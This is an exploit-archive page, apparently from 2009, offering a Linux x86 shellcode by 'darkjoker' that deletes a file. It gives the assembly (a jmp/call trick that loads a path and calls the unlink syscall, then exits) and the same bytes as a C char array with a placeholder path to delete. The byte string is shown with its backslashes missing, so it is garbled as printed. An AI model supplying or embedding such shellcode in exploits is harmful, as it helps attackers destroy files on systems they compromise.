[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : linux/x86 File unlinker 18 bytes + file path length
# Published : 2009-03-03
# Author : darkjoker
# Previous Title : Alphanumeric Shellcode Encoder Decoder
# Next Title : win32 SEH omelet shellcode v0.1


/*
Author    : darkjoker
Site      : http://darkjoker.net23.net
Shellcode : linux/x86 File unlinker 18 bytes + file path length

        .global _start
_start:
        jmp     one

two:
        pop     %ebx
        movb    $0xa,%al
        int     $0x80

        movb    $0x1, %al
        xor     %ebx, %ebx
        int     $0x80

one:
        call    two
        .string "file"
*/

char main [] =
"xebx0bx5bxb0x0axcdx80xb0"
"x01x31xdbxcdx80xe8xf0xff"
"xffxff"
"file" //Here file path to delete

// www.Syue.com [2009-03-03]